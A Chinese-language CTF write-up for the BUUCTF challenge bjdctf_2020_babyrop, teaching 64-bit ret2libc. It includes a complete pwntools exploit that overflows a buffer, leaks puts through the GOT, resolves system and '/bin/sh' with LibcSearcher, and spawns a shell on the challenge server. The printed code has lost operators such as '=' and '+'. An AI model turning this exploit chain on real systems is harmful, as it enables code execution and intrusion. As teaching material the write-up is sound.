64位ROP利用技术:从栈溢出到获取shell 1. 题目背景与初步分析bjdctf_2020_babyrop是一道经典的64位ROP利用题目考察的是通过栈溢出漏洞实现libc地址泄露并最终获取shell的技术。题目来自BUUCTF平台属于PWN方向的入门级ROP练习。首先我们检查程序的安全机制$ checksec bjdctf_2020_babyrop [*] /tmp/bjdctf_2020_babyrop Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)从保护机制可以看出64位程序amd64架构开启了NX栈不可执行没有栈保护No canary没有地址随机化No PIE这种配置意味着我们可以利用栈溢出漏洞但不能直接执行shellcode需要通过ROP技术来绕过NX保护。2. 漏洞定位与分析使用IDA Pro反编译程序可以看到主要逻辑在vuln函数中ssize_t vuln() { char buf[32]; // [rsp0h] [rbp-20h] BYREF return read(0, buf, 0x100uLL); }这里存在明显的栈溢出漏洞buf缓冲区大小只有32字节0x20read函数允许读取0x100字节256字节可以覆盖返回地址和控制程序流程序中没有直接提供后门函数或system(/bin/sh)这样的gadget因此我们需要通过ROP技术来构造攻击链。3. ROP利用思路由于程序没有提供现成的system调用我们需要通过以下步骤实现攻击泄露libc地址通过puts函数打印出GOT表中的函数地址计算libc基址根据泄露的地址和libc中的偏移计算基址获取system地址根据libc基址计算system函数地址获取/bin/sh地址在libc中找到/bin/sh字符串的地址构造ROP链调用system(/bin/sh)3.1 泄露libc地址首先我们需要找到以下关键地址pop rdi; ret gadget用于传递第一个参数puts的PLT和GOT地址main函数地址用于二次利用漏洞使用ROPgadget工具查找pop rdi$ ROPgadget --binary bjdctf_2020_babyrop --only pop|ret | grep rdi 0x0000000000400733 : pop rdi ; ret在IDA中可以看到puts_plt 0x400520puts_got 0x601018main_addr 0x4006AD构造第一次payloadfrom pwn import * context.log_level debug p remote(node4.buuoj.cn, 25243) elf ELF(./bjdctf_2020_babyrop) pop_rdi 0x400733 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] # 第一次payload泄露puts地址 payload bA*0x28 # padding到返回地址 payload p64(pop_rdi) payload p64(puts_got) payload p64(puts_plt) payload p64(main_addr) # 返回main函数再次利用漏洞 p.recvuntil(story!\n) p.sendline(payload) puts_addr u64(p.recv(6).ljust(8, b\x00)) print(fputs address: {hex(puts_addr)})3.2 计算libc基址和关键地址有了puts的实际地址后我们可以计算libc基址。这里有两种方法方法一使用LibcSearcher自动查找from LibcSearcher import * libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) binsh_addr libc_base libc.dump(str_bin_sh)方法二如果知道服务器使用的libc版本可以直接计算# 假设libc版本是2.23 puts_offset 0x6f690 system_offset 0x45390 binsh_offset 0x18cd57 libc_base puts_addr - puts_offset system_addr libc_base system_offset binsh_addr libc_base binsh_offset3.3 构造最终ROP链有了system和/bin/sh的地址后构造第二次payload# 第二次payload调用system(/bin/sh) payload bA*0x28 payload p64(pop_rdi) payload p64(binsh_addr) payload p64(system_addr) p.recvuntil(story!\n) p.sendline(payload) p.interactive()4. 完整利用脚本结合以上步骤完整的exp如下from pwn import * from LibcSearcher import * context(archamd64, oslinux, log_leveldebug) # p process(./bjdctf_2020_babyrop) p remote(node4.buuoj.cn, 25243) elf ELF(./bjdctf_2020_babyrop) # 第一轮泄露puts地址 pop_rdi 0x400733 ret 0x4004c9 # 用于栈对齐 payload1 bA*0x28 payload1 p64(pop_rdi) payload1 p64(elf.got[puts]) payload1 p64(elf.plt[puts]) payload1 p64(elf.symbols[main]) p.recvuntil(story!\n) p.sendline(payload1) puts_addr u64(p.recv(6).ljust(8, b\x00)) log.success(fputs address: {hex(puts_addr)}) # 计算system和/bin/sh地址 libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) binsh_addr libc_base libc.dump(str_bin_sh) # 第二轮获取shell payload2 bA*0x28 payload2 p64(ret) # 栈对齐 payload2 p64(pop_rdi) payload2 p64(binsh_addr) payload2 p64(system_addr) p.recvuntil(story!\n) p.sendline(payload2) p.interactive()5. 关键点与注意事项栈对齐问题在64位系统中调用system函数时需要保证rsp是16字节对齐的。有时需要在ROP链中加入一个ret指令来调整栈指针。libc版本问题不同版本的libc中函数偏移可能不同。如果使用LibcSearcher自动查找可能需要手动选择正确的版本通常选择0号。接收数据处理泄露地址时要注意接收的数据长度使用ljust(8, b\x00)来补齐8字节。二次利用漏洞第一次利用后要返回到main函数或其他合适位置以便第二次利用漏洞。调试技巧可以使用gdb附加调试在关键位置下断点检查寄存器状态和栈内容gdb -p $(pidof bjdctf_2020_babyrop) b *0x4006AA # 在返回前下断点6. 扩展思考这道题目展示了ROP技术的基本原理在实际CTF比赛中还有更多变种当没有pop rdi gadget时可以尝试其他传参方式当程序开启了PIE保护时需要先泄露程序基址当有canary保护时需要先泄露canary值可以使用one_gadget工具寻找直接获取shell的gadget通过这道题目的练习可以掌握64位ROP利用的基本方法为后续更复杂的题目打下基础。